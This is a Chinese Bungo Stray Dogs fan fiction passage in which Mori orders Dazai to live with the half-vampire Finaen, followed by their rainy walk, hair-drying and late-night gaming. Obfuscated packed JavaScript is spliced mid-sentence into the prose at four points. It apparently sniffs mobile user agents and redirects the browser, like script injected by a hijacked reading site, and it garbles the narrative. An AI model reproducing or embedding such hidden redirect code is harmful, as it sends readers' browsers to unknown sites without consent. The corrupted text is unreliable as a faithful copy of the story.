门内是一个极其宽敞、视野开阔的办公室,巨大的落地窗外是横滨港壮丽的夜景,室内陈设奢华而内敛,巨大的红木办公桌后,坐着一位穿着合体黑色西装、带着红围巾的男人。 他看起来约莫三四十岁,黑色的微卷短发,面容俊朗,嘴角噙着一抹温和却深不见底的微笑,手里正把玩着一把寒光闪闪的手术刀。 正是港口黑手党的首领——森鸥外。 办公桌旁的地毯上,一个穿着精致红色洋装、抱着巨大兔子玩偶的金发小女孩——爱丽丝,正专注地用蜡笔在纸上涂鸦。听到门响,她抬起头,湛蓝如宝石的大眼睛好奇地、毫不掩饰地打量着走进来的菲那恩。 “首领,人带来了。”太宰治的语气恢复了工作状态应有的平静,带着一丝不易察觉的疏离。 “哦呀,这位就是我们期待已久的新成员,菲那恩·德·图拉尔先生吧?”森鸥外放下手术刀,站起身,绕过办公桌,笑容可掬地伸出手,“欢迎来到港口黑手党。初次见面,我是森鸥外,这里的首领。” 菲那恩看着伸到面前的手。 人类的礼节…… 他学着对方的样子,伸出自己略显苍白的手,与对方短暂交握,“初次见面,森首领。” 他赤红的眼眸快速扫过办公室,在爱丽丝身上停留了一瞬,对这个小女孩的存在感到一丝意外。 森鸥外收回手,笑容不变,目光如同精准的探针,不着痕迹地扫过菲那恩全身,最后落在他浴衣下的左脚踝处。 他满意地微微颔首。 “菲那恩君的情况,太宰君已经向我详细汇报过了。”森鸥外走回办公桌后坐下,双手交叉置于桌面,姿态放松却充满上位者的气势,“港口黑手党能得到你的加入,是我们的荣幸。” “作为首领,我自然要为新成员提供最好的安置环境,尤其是像你这样……需要特别关照的存在。”森鸥外话锋一转,语气变得更加体贴,仿佛在真心实意为菲那恩考虑,“考虑到菲那恩君对横滨、对我们组织的运作都尚不熟悉,而且……” 他意味深长地停顿了一下,目光瞥向太宰,“你与太宰君似乎已经建立了初步的……‘信任’?这很好。” 太宰治站在一旁,闻言依然维持着那副懒洋洋的表情,鸢色的眼底却掠过一丝警惕和不易察觉的烦躁——森先生又想搞什么名堂? “为了让你更快地融入,也为了保障你的生活便利,”森鸥外微笑着,“我决定,就由太宰君担任你的‘引导者’和……嗯,‘生活顾问’。” 菲那恩对这个头衔有些茫然。 太宰治则感觉不妙的气息浓得化不开。 森鸥外接下来的话,如同投下了一颗深水炸弹,瞬间引爆了太宰治的内心。 “因此,菲那恩君暂时就与太宰君同住吧。”森鸥外的语气轻松得仿佛在安排一件微不足道的小事,完全无视了太宰治眼中骤然凝聚的风暴,“我们名下在港未来区有一套设施完善、安保等级极高的公寓,三室两厅,视野绝佳,太宰君就住在那里。” 他拉开抽屉,取出一把崭新的银色钥匙,“啪嗒”一声轻响,随意丢在光滑的红木桌面上,推向菲那恩的方向。 同居?!强制性的?! 太宰治脸上的懒散瞬间冻结、碎裂,鸢色的眼眸猛地睁大,瞳孔深处是难以置信的惊愕,随即被汹涌的、毫不掩饰的抗拒取代。 麻烦!天大的麻烦! 一个没有人类常识的非人生物要入侵他的私人空间?! 这简直是灾难的开端!他几乎能预见到被麻烦缠身的糟糕夜晚! “首领!”太宰治的声音第一次失去了惯常的轻佻,变得尖锐而充满抗议,“这个决定是过于草率了吧?!我那里简直是个灾难现场,堆满了绷带、蟹壳、空酒瓶,还有我精心收集的《完全自杀手册》初版,根本不适合接待贵客吧,而且——” 他语速飞快,试图用更“合理”的理由打消森鸥外的念头,“我的作息日夜颠倒,随时可能尝试新的自杀方式,比如在浴缸里通高压电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337543|183387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,或者尝试新型毒,万一吓到图拉尔先生或者不小心把他卷进去,那后果……” 太宰治一边说着,一边用眼神与森鸥外进行无声的交锋,鸢色的眼眸里闪烁着狡黠和抗拒的光,试图让森鸥外感受到他的强烈不满。 然而,森鸥外只是笑眯眯地回望着他,那温和的笑容如同深不可测的潭水。 “哦,安全问题菲那恩君想必不会在意。”森鸥外轻松地打断他,语气温和却像冰冷的铁钳,牢牢锁死了太宰治的挣扎,“至于生活环境,我相信以你的能力,很快就能整理妥当,这正是加深了解、培养默契的绝佳机会。” 他轻描淡写地封死了太宰治的所有退路,并补充道:“任务方面,中也君会接手你最近的外勤,你现在的首要任务,就是照顾好我们的新成员。” 太宰治的表情彻底阴沉下来,他看着森鸥外那张挂着完美假笑的脸,又瞥了一眼旁边那个赤瞳里闪烁着诡异光芒的吸血鬼,只觉得太阳穴突突直跳。 森先生绝对是故意的,他可没说过这个照看和引导的任务还需要跟菲那恩同居啊。 太宰治的脑子里瞬间闪过无数个未来给森鸥外制造“惊喜”的点子,从伪造文件到“不小心”泄露情报,再到设计让菲那恩去给首领“问好”…… “可是……”太宰治还想做最后的挣扎,声音低沉压抑,带着浓浓的不甘。 “菲那恩君,你觉得这个安排如何?”森鸥外直接转向菲那恩,笑容依旧温和无害,“跟太宰君住在一起那里,想必不会无聊。” 他巧妙地将皮球踢给了菲那恩。 菲那恩的脑子飞快地转动着。 和太宰……住在一起? …… …… !!! 血仆计划……终于可以迈出第一步了吗? 日夜相处,近距离观察,寻找弱点……把他变成专属血仆的计划一定会有很大的进展…… “我没有意见。”菲那恩几乎是立刻回答,赤红的眼底闪烁着难以抑制的光芒。 太宰治对上菲那恩那毫不掩饰的期待,再感受到森鸥外那看好戏般的目光,他深吸一口气,脸上扯出一个极其扭曲、皮笑肉不笑的笑容,那笑容阴郁得让旁边的爱丽丝都下意识抱紧了兔子玩偶。 “是……首领。”太宰治的声音像是从牙缝里挤出来的。 爱丽丝看着两人离开的背影,尤其是太宰治那副恨不得立刻去跳楼的表情。 她歪着头,发出一声清脆的、毫不掩饰的轻笑,随后拿起红色的蜡笔,在刚才的画纸上,用力地、幸灾乐祸地涂画了一个大大的、张牙舞爪的恶魔笑脸。 7. 命定之人 太宰治心情极差地走出了首领办公室,菲那恩跟在他身后,踏入冰冷的电梯,金属门闭合,狭小的空间带着他们无声下升。 当电梯门再次滑开时,扑面而来的是城市傍晚的气息。 太阳早已沉入地平线,天空只残留着几抹昏黄与深紫交织的暮色余晖。 两人走出大楼,踏上空旷的街道。 菲那恩落后半步,目光落在太宰治缠满绷带的侧脸上,粉色的发丝在微凉的晚风中轻轻拂动。 他犹豫了一下,开口问道:“我可以叫你太宰吗?” 声音在寂静的街道上显得格外清晰。 “当然可以。”太宰治头也不回,步伐懒散,声音里带着被麻烦缠身后懒洋洋的敷衍。 “太宰。”菲那恩立刻叫了一声,像是确认称呼权限。 太宰治那只未被绷带覆盖的鸢色眼眸懒洋洋地看了过去,带着点“又有什么事”的意味:“我在。” 菲那恩那双如同红宝石般的眼睛认真地打量着太宰治的脸,尤其是那碍眼的绷带,困惑地眨了眨:“冒昧地问一下,你的……眼睛,是瞎了一只吗?” 他的语气是纯粹的好奇,仿佛在询问一件物品的瑕疵,带着他缺乏人情世故的直白。 “……”太宰治的脚步微妙地顿了一下,随即发出一声短促的、意味不明的轻笑,嘴角扯出一个没什么温度的弧度,“你猜?” 那眼神里带着点“你还真敢问”的无语。 “这样吗……”菲那恩像是得到了某种确认,缓缓闭上眼睛,颇为惋惜地、甚至带着点不合时宜的郑重叹了口气,“我忘了,人类是不一样的,我不该问这么失礼的问题。” 他微微颔首,仿佛真的在为一个残疾人类感到理解,那副认真的姿态让空气都凝固了几分。 太宰治的眉头瞬间蹙紧,那只露出的鸢眸里闪过一丝荒谬和无语:“……哈?” 他张了张嘴,似乎想说什么,但看着菲那恩那副“我完全理解”的认真表情,最终只是将视线移向别处,把话咽了回去。 不爽值up。 ——这家伙到底明白了什么鬼东西!这脑回路比中也的帽子还清奇。 太宰治彻底懒得再解释,他重新迈开步子,速度似乎快了一丝,将那股荒谬感甩在身后。 随之而来的寂静如同实质般在微凉的空气中蔓延开来,只有两人一前一后、节奏不同的脚步声,在空旷的街道上敲打出单调的回响。 昏黄的路灯将他们的影子拉长又缩短,朝着不远处那栋公寓楼投去。 菲那恩落后几步,好奇地转动着脑袋,打量着这截然不同的异世街景。 街道两旁店铺大多门窗紧闭,行人更是稀少得可怜,街道两旁店铺大多门窗紧闭,行人更是稀少得可怜,只有偶尔一辆黑色的轿车无声滑过。 “街上的人类为什么这么少?”菲那恩再次发问,打破了沉寂,红眸里满是不解红眸,像个求知欲旺盛又不懂看气氛的孩子。 太宰治的声音从前面飘来,带着一股浓浓的、仿佛被抽干了所有力气的倦怠感,连解释都显得多余:“因为啊……” 他懒懒地抬手指了指周围,“这里是港口Mafia的地盘。” “港口Mafia……”菲那恩咀嚼着这个陌生的词汇,又问,“港口Mafia是什么样的存在呢?” 他像个初入人类社会的孩子,对一切都充满了求知欲。 太宰治的回答依旧轻飘飘的,敷衍得近乎任性,却又带着一种奇异的、无法反驳的黑色幽默:“嗯…是很有‘存在感’的存在。” 他刻意加重了“存在感”三个字,仿佛在暗示那些无形的威慑与阴影。 菲那恩闻言,却煞有介事地点了点头,仿佛真的将这个敷衍至极却又无法证伪的答案,认真地记在了他脑海里。 忽然,下雨了。 横滨的夜雨淅淅沥沥,打在湿漉漉的石板路上,晕开昏黄路灯的光圈。 “啊啦,下雨了,我们可得快点了,菲那恩君。”说着,太宰治却反而放满脚步,与菲那恩从一前一后到并肩走在这么一条僻静的小巷里,脚步声在空旷中显得格外清晰。 他忽然停住,侧过头,湿漉漉的鸢色眼眸在帽檐阴影下闪烁着探究的光,像在审视一个难解的谜题。 菲那恩的脚步也停了下来,雨水顺着他的下巴滑落,滴在锁骨上。 “话说你为什么会加入港口mafia呢?”太宰治开口,声音在雨声中带着一种奇特的穿透力,“其实你明明有着更多选择。” 他微微歪头,目光中被雨水打湿的菲那恩,苍白的脸看起来脆弱又可怜。 但菲那恩却抬起头,那双即使在昏暗雨夜中也璀璨如鸽血红宝石的眸子,毫无闪躲地迎上了太宰治审视的目光。 他的声音不大,却异常清晰,理所当然地说道:“因为太宰是我的命定之人。” 在这个充斥着少女漫画和禁忌恋情的世界里,这句话所承载的浪漫遐想,足以让任何听到它的人类心跳失衡。 所以,即使是太宰治,这个以智谋和冷漠著称的黑手党干部,大脑也罕见地宕机了一瞬。 太宰治脸上的漫不经心和戏谑如同被雨水冲刷掉的面具,彻底碎裂。 “……哈?” 他难得地、真正地愣住了,薄唇微张,只发出一个短促而茫然的音节。 那双总是藏着无数算计的鸢色眼眸,此刻清晰地映出菲那恩那张写满认真和某种……他无法理解的炽热光芒的精致脸庞。 那光芒太纯粹,太直接,反而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337544|183387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让习惯了谎言与伪装的太宰治感到一种莫名的、毛骨悚然的冲击。 这个温和人设,他实在装不下去了…… 在这昏黄的光晕下,太宰治和菲那恩就这么大眼瞪小眼,时间仿佛被无限拉长。 几秒钟的死寂后。 “啊——???!!!”一声夸张到变调的惊呼猛地从太宰治喉咙里炸开。 他像是被滚烫的烙铁烫到一样,整个人夸张地往后弹跳了一大步,差点撞到湿漉漉的墙壁。 那双漂亮的鸢色眼睛瞪得溜圆,里面充满了难以置信的惊恐和生理性的恶寒,仿佛听到了世界上最可怕、最荒谬、最不可理喻的宣言。 “不要!绝对不要!”他用力地搓着自己露在绷带外的手臂,仿佛要搓掉一层根本不存在的鸡皮疙瘩,声音拖得又长又颤,充满了刻意的嫌弃和抗拒。 “这是什么少女漫画的可怕台词吗?!菲那恩君,你该不会其实是那些奇怪刊物的深度中毒者吧?!离我远点!禁止传播这种可怕的病毒!” 看着太宰治那副避之唯恐不及、仿佛自己是什么超级病原体的夸张模样,菲那恩先是懵了一下,赤红的眼眸里充满了纯粹的困惑。 什么?少女漫是什么东西? 他口中的命定之人的意思其实是血族用语习惯,指某个特定人类的血液非常契合某个特定血族。 简言之为——命定之人。 菲那恩不明白为什么会引起对方如此剧烈的的反应。 或许其实这种反应在人类中才是正常的吗?也没有哪个人类想被血族盯上吧? 他眼眸低垂,看起来有些落寞,道:“错过太宰,我或许再过一千年都等不到下一个命定之人了……” 说着,“——阿嚏!” 一个响亮的喷嚏,瞬间打破了这带着点荒诞感的气氛。 菲那恩捂着鼻子,刚才的气势像被戳破的气球一样瘪了下去,只剩下淋成落汤鸡的狼狈和因为打喷嚏而泛红的鼻尖,配上他那身湿透的衣服,看起来可怜兮兮。 太宰治:“……” 他脸上的嫌弃和惊恐凝固了一瞬,随后眼中闪过一丝无语,“走吧,再淋下去怕是要感冒了。” 又不知道从哪里摸出来一把伞,撑开,却坏心眼地只罩在自己头顶,慢悠悠地继续往前走,留下菲那恩在原地却又不得不马上跟上。 菲那恩一丝一毫都没有察觉到,太宰治不是他想象中那样的好人,相反还是很恶劣的性格。 他只顾着纠正太宰治,“血族是不会感冒的。” “我没说你。” “什么?那为什么……” “你的喷嚏提醒了我要注意感冒。” “这样啊,也行……” “…………”太宰治再次无语了。 8. 吹头 □□提供的公寓位于港未来区一栋高级公寓楼的顶层。 电梯门打开,是铺着厚地毯的安静走廊。 门内并非太宰治之前描述的“灾难现场”,甚至可以说非常干净,显然是定期有人打理——当然,不要误会,这份功劳绝不可能属于公寓的主人。 这间公寓装修风格冷硬、线条简洁、空间宽敞但明显缺乏生活气息的公寓。 巨大的落地窗外是横滨璀璨的夜景,冰冷的都市光芒透过玻璃洒在深色的地板上,家具很少,显得空旷,空气里弥漫着一股淡淡的灰尘味和……若有似无的消毒水气息。 “喏,到了。”太宰治随手将湿透的黑色大衣扔在玄关冰冷的大理石台面上,发出沉闷的响声,声音依旧带着浓浓的倦怠和生无可恋,“你的房间在左手边第二间,浴室在旁边,衣柜里有基本的生活用品和……嗯,一些换洗衣物。” 他指了指卧室的方向,随后带菲那恩进了浴室,草草演示了一下淋浴器的开关,便甩手不管。 他像条脱水濒死的鱼,晃悠着走向客厅中央那张看起来就很舒服的宽大沙发,“我去找找有没有干燥的绷带……” 声音越来越小,最后整个人陷进了沙发里,只露出一点黑色的微卷发,散发着“别来烦我”的低气压。 浴室里,菲那恩对着“哗哗”喷水的莲蓬头陷入呆滞。 这是什么高阶水系秘术?!竟然能凭空召唤源源不断的热水?! 等他终于从氤氲着热气的浴室出来时,已经换上了一套深灰色的居家服,柔软的棉质布料贴在皮肤上,感觉很不错。 他一边用毛巾擦拭着湿漉漉的粉色长发,一边低头摆弄着衣架子上挂着的西装套装,微蹙着眉头。 就在这时,客厅里传来窸窸窣窣的声音。 菲那恩抬头,正好看到太宰治从沙发上爬起来,揉着乱糟糟的黑发,慢吞吞地晃向浴室,头也没回地拉开浴室门,身影消失在磨砂玻璃后,很快,里面传来了哗啦啦的水声。 菲那恩收回目光,他走到客厅落地窗前,看着窗外迷离的都市灯火,心里盘算着一定要跟太宰提一下,他不喜欢那套黑色西装的颜色和紧绷感。 时间在寂静中流逝。不知过了多久,浴室的水声停了,磨砂玻璃门被拉开的声音传来。 菲那恩下意识地循声望去,准备开口抱怨衣服的不适。 “太宰,那套衣服……” 他的话语刚开了个头,就如同被无形的力量扼住,彻底消音在喉咙里。 他赤红的眼眸瞬间聚焦,瞳孔中清晰地映出那个从氤氲水汽中走出来的身影。 没有了绷带的遮蔽。 湿漉漉的黑色微卷发柔软地贴在光洁饱满的额头和线条流畅的颈侧,发梢滴着水珠。 那张脸——毫无遮掩地暴露在空气中——皮肤是冷调的瓷白,在暖光下泛着细腻的光泽。 最引人注目的是那双眼睛——两只鸢色的眼眸都完好无损,褪去了所有平日的晦暗、戏谑,只剩下一种近乎无垢的干净。 没有了绷带的遮挡,他整张脸的轮廓显得更加柔和,甚至带着一种少年气的、近乎脆弱的精致感。 菲那恩彻底看呆了,准备好的抱怨忘得一干二净。 刚从舒适热水里出来,正被暖意和倦意包裹的太宰治,一边用毛巾擦着湿发,一边抬眼。 当他毫无防备地撞进菲那恩那双直勾勾的、仿佛凝固了的赤红眼眸里时,身体几不可查地僵硬了一瞬。 那眼神里的专注和……某种纯粹的、毫不掩饰的惊艳,像探照灯一样打在他毫无防备的脸上。 “……” 太宰治没有立刻说话,只是静静地看着菲那恩,似乎在评估对方的意图,又像是在用这短暂的沉默筑起一道无形的墙。 太宰治鸢色的眼眸深处,重新凝聚成深不见底的幽潭。 他擦头发的动作没有停,但速度慢了下来,脸上的表情迅速从放松的茫然切换成一种近乎冷漠的平静,用一种审视的、带着明显距离感的目光回视着菲那恩,周身的气场瞬间变得疏离而戒备。 菲那恩却仿佛完全没有感受到那骤然降低的气压和冰冷审视的目光。 “原来……”菲那恩眨了眨眼,声音里带着一丝新奇的发现,打破了令人窒息的沉默,“太宰的两只眼睛都是好的啊。” 他的语气就像在陈述一个显而易见的事实,没有任何恶意。 “……嗯?”太宰治的眼神更冷了一分,薄唇抿成一条直线。 菲那恩似乎没察觉到对方的不悦,目光在那张精致得过分的脸上流连,带着一种近乎认真的欣赏,继续语出惊人:“而且太宰……长得很好看。” 他的赞美直白得如同在评价一件精美的艺术品,没有任何旖旎的意味,只有纯粹的感官认知。 太宰治一屁股坐在沙发上,一边翻找茶几柜里的吹风机,一边漫不经心地回道:“真是谢谢你的夸奖,我知道我帅得惨绝人寰。” 菲那恩完全沉浸在自己的发现里,他歪了歪头,粉色湿发滑落肩头,赤红的眼眸里是真挚的困惑:“为什么要把这么漂亮的眼睛蒙上一只呢?太宰?” 这个问题一出,太宰治翻找的动作一滞,客厅的空气也跟着凝固了。 太宰治静静地看着菲那恩,那双鸢眸此刻深不见底,几秒钟后,他缓缓地、极轻地扯动了一下嘴角。 他的声音很平静,却清晰地穿透寂静:“个人爱好而已,就像有人喜欢戴帽子,有人喜欢收集绷带一样。” 菲那恩闻言,若有所思地点了点头。 随后,菲那恩看着太宰治从茶几柜里翻出吹风机,插上电源。机器启动的嗡鸣声在空旷的客厅里响起,暖风裹挟着太宰治身上清冽的沐浴露气息散开。 菲那恩站在几步之外,赤红的眼眸一眨不眨地看着。 他抬手摸了摸自己还在滴水的粉色长发,水珠顺着发梢滑落,滴在颈窝,带来一丝微凉的痒意。 宽松的居家服领口本就偏大,一边的肩线便悄无声息地滑落,露出小半边白皙圆润的肩头和一段精致凹陷的锁骨线条,水珠沿着肌肤细腻的纹理滑落,没入更深的衣襟阴影。 “太宰。”菲那恩的声音响起。 太宰治没回头,懒洋洋地应道:“嗯?” “那个……”菲那恩指了指太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337545|183387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宰治手中的吹风机,动作间,滑落的衣领又往下溜了微不可查的一点点,“我也要吹……” 太宰治拨弄头发的手指顿了一下,终于侧过脸瞥了他一眼,语气冷淡又带着点嫌弃:“衣服穿好,自己吹,浴室里有备用的。” 他指了指浴室的方向。 就在太宰治以为菲那恩会自己去拿吹风机时—— “太宰……”菲那恩的声音再次响起,这次更轻,眼尾微微下垂,“我不会用,它看起来……好复杂。” 太宰瞳孔一缩,真不是他乱加滤镜,而是菲那恩此刻看起来实在太像一个可怜兮兮的小动物了。 菲那恩向前挪了一小步,距离太宰治更近了些,身上混合着沐浴露和他身上特有的、极淡的白玫香淡淡飘散,“你帮我吹,好不好?” 这突如其来的、生涩却杀伤力十足的“请求”,让太宰治握着吹风机的手彻底僵住了。 他看着菲那恩那张写满无辜表情的脸,太阳穴又开始隐隐作痛。 “……麻烦死了。”太宰治低声嘟囔了一句。 他就知道森先生给他找了一个大麻烦!早知道就不为了“潘多拉”答应森先生这个任务了。 还好菲那恩好骗,根本不懂人类的语言艺术,不然他实在无法对这个麻烦精一直保持笑容…… 他看着菲那恩依旧固执地站在那里,散发着“不帮他就不走”的无声坚持,再想想这家伙可能真的会把吹风机弄坏或者把自己电到,然后麻烦的还是他,一股深深的无力感涌了上来。 偏偏他还没理由把他赶出去。 他重重地叹了口气,认命般地关掉了自己手中的吹风机,然后朝着菲那恩勾了勾手指,“……过来,坐我旁边,吹干赶紧睡觉。” 菲那恩的眼睛瞬间亮了起来,像两颗被点燃的红宝石。 他立刻小步走到沙发指定的那个地方,乖乖坐下,背对着太宰治。 坐下时,他总算下意识地把滑落的衣领拉了上去。 太宰治皱着眉,站到菲那恩身后,他刻意保持着最大的安全距离,伸长手臂,打开暖风,抓起一把湿发就开始吹,温热的气流和嗡嗡的轻微噪音瞬间包裹了菲那恩。 菲那恩舒服地喟叹了一声,像一只被顺毛的猫,身体微微放松下来,原本有些僵硬的肩膀线条也柔和了些。 他感受着暖风拂过头皮,还有太宰治的手指偶尔穿过发丝的触感,带来一种奇异的安心感。 嗡嗡的噪音像一层温暖的茧,包裹着两人之间短暂的宁静。 就在这暖意和噪音中,太宰治像是想起什么似的,问道:“你不是吸血鬼吗?我看大多数现世吸血鬼题材的作品中,吸血鬼都是无心跳、无呼吸的,不过看你这呼吸频率……倒是一不小心揭开了世界的一大秘密?” 菲那恩意料之外地沉默了。 太宰治没有着急,静静地等待着菲那恩的答案。 良久,菲那恩才动了动干涩的唇,声音不大,但能刚好被太宰治清晰听见。 “不,只是我比较特殊——因为我是人类和血族的混血。” 太宰治拨弄他头发的手指微微一顿。 9. 和服 太宰治突然明白了,嘴角勾起一抹愉悦的笑。 脑海中关于菲那恩的过往经历资料中由他个人设想的某个特殊原因,在那一瞬间被点亮。 原来如此,是因为……混血吗。 不被包容,所以才这么好骗。 “我的母亲是人类,父亲是血族。”菲那恩继续说,语气平静得像在讲述别人的故事,“所以,我和纯血不太一样,我睡着的时候无心跳无呼吸,醒来就跟人类无异,甚至我都不怕阳光,不过体温一直都比正常人类的低。” 他似乎在解释什么,又像是单纯在陈述一个事实,“你可以把我当做一个特殊人类,也可以把我当做一个特殊血族,但我选择的是血族那一方。 他顿了顿,见太宰治没说话,手指无意识地收紧,又补充道:“不过你放心,就算在很饿很饿的时候……我也不会乱咬人的。” 太宰治声音如常,终于开口回道:“所以是乱抱人?” 他意有所指在拍卖场时,菲那恩的“投怀送抱”。 “这……不是……”菲那恩头一次体会到了尴尬,半天才憋出来一句话,“是你的血太特殊了……而且由于特殊的血脉,我注定就会是一只很克制的血族。” 太宰治鸢色眼眸中满是好奇与兴味,嘴上却是淡淡回道:“这样啊。” 之后又是久久的安静,只有吹风机的嗡嗡声。 菲那恩心脏碰碰跳。 但是……太宰还在帮他吹头发,那就应该是没事吧? 太宰治确实没什么想法,不,唯一的想法就是,他感觉菲那恩父母实在太像少女漫的男女主。 他稍微有一点点好奇他们的故事走向,但总归最终估计不是个好结局吧。 对mafia来说,探究同伴的内心是件极其危险的事。 菲那恩姑且已经开始算同伴了。 太宰治自认为自己是个冷酷无情的人,但看着菲那恩这副可怜小猫的忐忑模样,他选择不去满足自己的好奇心。 保持恰到好处的距离,对所有人都有好处。 菲那恩开始生硬地转移话题,带着试探意味的喊了一声太宰,清晰地穿透了嗡鸣:“太宰?” “嗯?”太宰治懒懒地应着,手指随意地拨弄着他的发丝,动作依旧带着点敷衍。 “对了,我想说我不喜欢那套衣服。”菲那恩的声音闷闷的,带着一丝孩子气的抱怨,“黑色的,硬邦邦的,穿着难受。” 太宰治的动作顿了一下,语气带着惯常的嘲讽:“哦?那你想穿什么?树叶吗?” “我喜欢像这样的颜色。”菲那恩微微侧了侧头,一缕湿透后已半干的粉色长发恰好滑过太宰治的手指,如同最上等的丝缎,带着冰凉柔滑的触感。 “像我的头发那样的。”他的声音里带着一种理所当然的偏好。 太宰治垂眸,目光落在指间缠绕的那缕柔亮粉发上,在暖风的吹拂下,那粉色仿佛带着生命般的光泽,在灯光下流转着细腻的光晕。 他沉默了几秒,指尖无意识地捻了捻那丝滑的发丝,一个几不可闻的低语从唇边逸出:“……确实很漂亮。” 声音很轻,轻得几乎被吹风机的噪音掩盖,更像是一种下意识的客观评价,不带任何个人情感。 然而,这极轻的、带着一丝莫名温度的话语,却如同投入平静湖面的小石子,在菲那恩心底漾开一圈陌生的涟漪。 他赤红的眼眸微微睁大。 血族只有银发,只有人类才会有各种各样的发色。 太宰说……漂亮? 一种奇异的、难以言喻的暖流顺着被太宰治指尖捻过的发丝,悄无声息地蔓延开来,直抵心口。 就在这时,太宰治像是突然被自己刚才的举动和话语惊醒,猛地关掉了吹风机。 骤然降临的寂静让菲那恩微微一怔。 他看也没看菲那恩,径直走到客厅一角,拿起放在小桌上的内部加密手机,快速地按了几个键。 “是我。”太宰治的声音恢复了平日里的疏懒,但带着不容置疑的命令口吻,“明天一早,送一套男士和服过来,要……嗯,樱粉色的。” 他顿了一下,似乎在思考,“尺寸?” 他回头,目光在菲那恩身上快速扫了一圈,菲那恩正扭过头,用那双盛满困惑的红眸看着他。“身高比我矮大半个头,比较瘦,按这个标准准备。” 电话那头传来下属惊讶的抽气声和一连串“是、是!太宰大人!属下明白!”的紧张应答,显然被上司这突如其来的、极其“不港口mafia”的奇怪要求惊到了。 太宰治利落地挂断了电话,随手扔回桌上,仿佛只是处理了一件微不足道的小事。 他走回菲那恩身边,语气又恢复了那种懒洋洋:“行了,干了,赶紧去睡觉吧。” 菲那恩刚想说什么,却被太宰治接下来的动作吸引了。 只见太宰治弯腰从沙发底下拖出一个箱子,里面放着两台游戏手柄和一个看起来颇为先进的游戏机主机。 “睡不着吗?”太宰治瞥了他一眼,一边利落地连接线缆,“无聊的话,要玩两局吗?输了的人明天负责打扫卫生哦。” 他嘴角勾起一丝带着点挑衅的弧度,显然单纯想给自己找点乐子。 菲那恩对“打扫卫生”没什么概念,但“游戏”这个词引起了他的好奇。 他点点头,在太宰治旁边的软垫上坐下,学着太宰治的样子拿起一个手柄。 很快,激烈的游戏音效和屏幕闪烁的光影充满了客厅。 菲那恩一开始笨拙地按着按钮,但血族强大的反应神经和动态视力让他很快上手,甚至开始有模有样地反击。 太宰治也难得地投入其中,两人在虚拟世界里厮杀得不亦乐乎,之前的尴尬和微妙气氛似乎被暂时抛到了脑后。 就在两人激战正酣,屏幕上的角色激烈碰撞时—— “叮咚!叮咚!” 公寓的门铃突兀地响了起来,在寂静的深夜和游戏的背景音中显得格外刺耳。 太宰治眉头瞬间拧紧,眼中闪过一丝被打扰的不悦和警惕。 菲那恩也停下动作,暗红的眼眸看向门口。 “啧。”太宰治不情不愿地放下手柄,低声咒骂了一句,“到底是谁,大半夜的……” 这套公寓只有港口mafia的人才能进来,住户也很少,只有少数几户高层。 他抓了抓乱糟糟的黑发,一脸“最好有重要的事否则宰了你”的杀气,走到门口,也没看猫眼,直接拉开了门。 门外,站着一个穿着黑西装、神情极度紧张、额角冒汗的年轻下属。 他怀里抱着一个巨大的、包装精美的礼盒,上面印着某家高级和服店的烫金标志。 看到太宰治开门,他几乎是条件反射般地九十度鞠躬,声音都在发抖: “太、太宰大人!万、万分抱歉深夜打扰您!”下属的声音带着哭腔,“但、但是您要的和服,考虑到您可能……可能急着要穿,属下不敢怠慢,立刻、立刻为您送来了!请、请您原谅属下的自作主张!” 他一边说,一边深深鞠躬,几乎要把礼盒举过头顶,汗水顺着鬓角滑落。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337546|183387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太宰治看着那巨大的盒子,又看了看眼前这个紧张得快要晕过去的属下,鸢色的眼眸眯了眯,闪过一丝了然和无语。 他刚想说“放门口就行”,目光却敏锐地捕捉到属下在鞠躬时,视线似乎不受控制地、飞快地越过了他的肩膀,投向了客厅的方向。 太宰治顺着那目光微微侧身。 客厅里,游戏画面还在闪烁暂停状态。菲那恩正盘腿坐在软垫上,手里还拿着游戏手柄,闻声也好奇地扭头看向门口。 他穿着那身深灰色居家服,一头柔顺的粉色长发随意披散着,有几缕调皮地滑落在肩头。 